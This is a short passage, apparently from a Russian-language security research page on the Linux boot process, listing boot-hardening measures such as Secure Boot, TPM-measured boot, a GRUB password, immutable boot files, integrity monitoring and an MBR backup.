Вызов функции печати |
jmp $ |
Бесконечный цикл |
| Мера | Реализация |
|---|---|
| Secure Boot | Включить UEFI Secure Boot |
| Measured Boot | TPM 2.0 с политикой PCR |
| Пароль GRUB | Установить superusers и пароль в grub.cfg |
| Read-only ESP | Монтировать ESP как read-only после загрузки |
| Мера | Реализация |
|---|---|
| Неизменяемый GRUB | chattr +i /boot/grub/grub.cfg |
| Неизменяемые EFI файлы | chattr +i /boot/efi/EFI/*/*.efi |
| Мониторинг загрузочных файлов | AIDE, Tripwire |
| Резервное копирование MBR | dd if=/dev/sda of=mbr_backup.bin bs=512 count=1 |
Security Research — Linux Boot Process Analysis